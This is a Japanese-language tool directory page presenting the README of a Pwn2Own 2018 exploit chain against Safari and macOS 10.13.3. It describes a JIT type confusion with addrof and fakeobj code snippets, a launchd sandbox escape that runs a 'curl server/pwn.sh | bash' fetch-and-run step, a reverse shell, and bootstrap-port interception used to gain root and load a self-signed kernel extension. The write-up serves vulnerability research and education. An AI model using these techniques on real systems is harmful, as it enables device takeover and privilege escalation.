Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
pwn2own2018 — A Pwn2Own exploit chain | Kitploit
ツール/GitHubGitHub/saelo/pwn2own2018
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationLearning & EducationPayload DevelopmentBinary Exploitation
GitHubsaelo/pwn2own2018

pwn2own2018

A Pwn2Own exploit chain

リポジトリを見る
7591127年前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

Pwn2Own 2018: Safari + macOS

macOS 10.13.3 向けの Safari RCE、サンドボックス脱出、およびカーネルへの LPE。

使用方法

nasm と tornado をインストールします:

root@kitploit:~
brew install nasm
pip3 install tornado

ホスト名やポートを変更したい場合は config.py を確認してください。その後、./server.py でサーバーを起動し、表示された URL にアクセスしてください。

概要

このエクスプロイトチェーンは、Safari 内で実行される JavaScript コードからカーネルモードのコード実行に至るまで、3 つの異なるバグを利用します:

  1. 型混乱を引き起こすために悪用できる DFG JIT コンパイラの誤った最適化
  2. launchd におけるサンドボックスチェックの欠如。これにより、サンドボックス化されたプロセスが任意の(非サンドボックス化された)プロセスを生成できる
  3. XNU の論理バグ。プロセスが子プロセスのブートストラップポートを上書きできるため、IPC MitM 状態を引き起こす

エクスプロイトチェーンは 6 つのステージで構成され、各ステージはそれぞれ独自のサブディレクトリに配置されています:

  • stage0/: WebKit エクスプロイト
  • stage1/: アセンブリで記述された最初のステージペイロード
  • stage2/: サンドボックス脱出を実行する 2 番目のステージペイロード
  • stage3/: 残りのステージを調整するシェルスクリプト
  • stage4/: root を取得するための LPE
  • stage5/: カーネルコード実行を取得するための LPE
  • libspc/: XPC プロトコルの再実装。ステージ 2、4、5 で使用

各サブディレクトリ(libspc/ を除く)には make.py というファイルが含まれており、これを実行すると必要なビルドコマンドが実行され、Web サーバーが配信するファイルのリストが作成されます。

ステージ 0

目標: サンドボックス化された WebContent プロセス内でシェルコードを実行する
悪用したバグ: DFG JIT コンパイラの誤った最適化
関連資料: この BlackHat 講演

DFG JIT コンパイラは、JavaScript コードを独自の中間表現(IR)である Data Flow Graph(DFG)で表現します。通常、1 つの JavaScript 式は、このグラフ内で 1 つまたは複数の IR 命令に変換されます。コンストラクタ関数の場合、CreateThis 命令が生成され、関数によって構築される this オブジェクトの割り当てを担当します。例として、関数 function Consructor() {} を new で呼び出すと、おおよそ次のように変換されます:

root@kitploit:~
v0 = CreateThis
return v0

AbstractInterpreter を見ると、DFG JIT コンパイラが CreateThis 操作はヒープ割り当て以外の副作用を引き起こさないと想定していることがわかります。実際、次のコード:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

は、おおよそ次の DFG 命令に変換されます: (ここでは、StructureCheck は TypeCheckHoistingPhase によって関数の先頭に移動されています)。

root@kitploit:~
StructureCheck(arg1);
v0 = CreateThis;
v1 = LoadOffset(arg1, OFFSET)
return v1;

しかし、その想定は無効です。CreateThis のスローパスコードは、場合によっては任意の JavaScript コードを実行できるためです。特に、実際の関数の周りに Proxy を使用すると、CreateThis のスローパスハンドラが構築されるオブジェクトのプロトタイプオブジェクトを取得する必要があるため、"prototype" プロパティの get トラップが呼び出されます:

root@kitploit:~
function Constructor(obj) {
    return obj.x;
}

var handler = {
    get(target, propname) {
        /* run JS here, modify the structure of the argument object, etc. */
        return target[propname];
    },
};
var ConstructorProxy = new Proxy(Constructor, handler);

// Force JIT compilation of ConstructorProxy

これにより、JIT コンパイラがベイルアウトを実行することなく、オブジェクトの Structure を変更することが可能になります。

このバグは、次のように addrof および fakeobj プリミティブを構築するために使用できます:

addrof

ボックス化されていない double 要素を持つ JSArray の場合のコードをコンパイルし、コールバック内で JSValue 要素に遷移します。その後、JIT コードは配列から JSValue をロードしますが、それらのビットを double として扱い、私たちに返します。次のコードは、leakme のアドレスを構築されたオブジェクトの "address" プロパティに代入します。

root@kitploit:~
function InfoLeaker(a) {
    this.address = a[0];
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = leakme;
        return target[propname];
    },
};
// ...

fakeobj

ここでは基本的に逆のことを行います: ボックス化されていない double 要素を持つ配列に double を格納するようにコードを最適化し、再びコールバック内で JSValue 要素に遷移します。コードは、制御された double をボックス化されていない形式でバッキングストレージに書き込み続けます。後でその配列要素にアクセスすると、それらのビットは double ではなく JSValue として扱われます。次のコードは、ボックス化されていない double の address を a のバッキングバッファに書き込み、それを JSValue として読み出すことができるため、エンジンに任意の JSValue を「注入」することができます。

root@kitploit:~
function ObjFaker(a, address) {
    a[0] = address;
}

var handler = {
    get(target, propname) {
        if (trigger)
            arg[0] = {};
        return target[propname];
    },
};
// ...

このようにして、double を書き込んで JSObject ポインタとして扱う(およびその逆)能力を得ることができます。これは、attacking javascript engines で説明されているように悪用できます。

エクスプロイトは、まず Float64Array を偽装して任意のプロセスメモリの読み取り/書き込みを達成し、次に JIT 領域(RWX としてマッピング)を検索して、ステージ 1 のシェルコードをそこに書き込みます。

ステージ 1

目標: .dylib をディスクに書き込み、dlopen() でロードすることによりステージ 2 をブートストラップする

基本的に次のことを行う短いアセンブリペイロード:

  1. confstr(\_CS\_DARWIN\_USER\_TEMP\_DIR) を呼び出して書き込み可能なディレクトリへのパスを取得する
  2. 書き込み可能なディレクトリに 'x.dylib' という名前の新しいファイルを作成する
  3. ステージ 2 の dylib を新しく作成したファイルに書き込む
  4. dlopen() を使用して dylib を WebContent プロセスにロードする

ステージ 2

目標: サンドボックスから脱出する
悪用したバグ: launchd の "legacy_spawn" API におけるサンドボックスチェックの欠如
関連資料: この講演

launchd は "legacy_spawn" RPC エンドポイントをサブシステム 3 のルーチン 817 として公開しています。この API は、呼び出し側がプロセスを生成することを許可されているかどうかの検証に失敗し、制御された引数でシステム上の任意のバイナリを呼び出し側のために execve するだけです。launchd はブートストラップポート経由で到達可能であるため、これによりサンドボックスから脱出することが可能になります。

エクスプロイトは基本的に curl server/pwn.sh | bash を実行し、制御をステージ 3 に渡します。

ステージ 3

目標: 電卓を起動し、残りのステージをブートストラップする

open /Applications/Calculator.app を実行し、リバースシェルを確立してから、残りのステージに必要なすべてのファイルを取得してエクスプロイトを実行します。

ステージ 4

目標: LPE エクスプロイトで root を取得する
悪用したバグ: XNU ブートストラップポート MitM
関連資料: この POC 講演

XNU では、task_set_special_port API により、呼び出し側が自分のブートストラップポートを上書きできます。ブートストラップポートは launchd との通信に使用されます。このポートは fork をまたいで継承されます。子プロセスは親と同じブートストラップポートを使用します。ここで、子プロセスが親よりも特権が高い場合にセキュリティ問題が発生します。例えば、sudo(setuid バイナリ)や kextutil("com.apple.rootless.kext-management" エンタイトルメントを持つ)などが該当します。ブートストラップポートを上書きして子プロセスを fork することで、子プロセスと launchd の間に MitM の位置を獲得できます(子プロセスはブートストラップポートにメッセージを送信する際に launchd に到達することを期待しています)。子プロセスは launchd にさまざまな mach サービスおよび XPC サービスの解決を要求します。これらのサービスを私たちが制御する他のポートに解決させることで、子プロセスが使用する任意のシステムサービスに対しても MitM の位置を獲得できます。その後、攻撃の成否は、攻撃対象のプログラムがそれらのサービスをどのように使用するかに依存します。

root を取得するために、sudo バイナリを標的とし、sudo が資格情報の検証に使用する opendirectoryd との通信を傍受します。opendirectoryd からの応答を変更して、パスワードが有効であるかのように見せかけます。

この問題を修正しようとする試みがあったようです。launchd との通信を実行する libxpc が、応答が実際に uid=0 かつ pid=1(== launchd)のプロセスから来ていることを検証するためです。ただし、これらのチェックは不十分です。次のようにしてそれらをバイパスし、opendirectoryd を私たち自身のポートに解決させることができます:

  1. bootstrap_register2 API を使用して、私たち自身の mach サービス(例: net.saelo.hax)を launchd に登録する
  2. launchd へのサービスルックアップ要求を傍受し、文字列 com.apple.system.opendirectoryd.api を net.saelo.hax に置き換える
  3. 要求を launchd に転送するが、元の応答ポートはそのままにして、launchd が子プロセスに直接応答し、子プロセス内の libxpc のチェックが成功するようにする

(root への権限昇格のために)残っているのは、opendirectoryd と sudo の間のメッセージを転送しつつ、認証エラー応答を成功応答に置き換えることだけです。

ステージ 5

目標:(自己署名の)カーネル拡張をロードする
悪用したバグ: XNU ブートストラップポート MitM

これはステージ 4 と同じ脆弱性を悪用しますが、今回は kextutil を標的とします。com.apple.trustd への接続を傍受して証明書チェーンを偽装し、自己署名の kext が実際には Apple によって直接署名されていると kextutil に思わせます。

kextutil は、ディスクから .kext をロードするように要求されると、おおよそ次のように進行します:

  1. 提供された証明書に対してすべての署名をチェックすることにより、.kext の整合性を検証する
  2. trustd と通信して証明書チェーンを取得し、ルート証明書が信頼されているかどうかを確認する
  3. 証明書チェーンのルートが Apple の証明書であることを検証する
  4. syspolicyd と通信して .kext がユーザー承認済みかどうかを確認する。ただし、syspolicyd に到達できない場合、kextutil は単に続行する

これにより、次の攻撃で自己署名のカーネル拡張をロードできます:

  1. .kext を作成し、自己署名証明書で署名する
  2. kextutil を実行し、com.apple.trustd を私たち自身のサービスに解決させる
  3. trustd へのメッセージを傍受し、公式の Apple .kext のハードコードされた証明書チェーンで応答する
  4. syspolicyd との通信をブロックする(例: launchd へのサービスルックアップ要求で com.apple.security.syspolicy.kext を net.saelo.lolno に置き換える)

kextutil はこれで私たちのカーネル拡張をカーネルにロードします。

ツールをダウンロード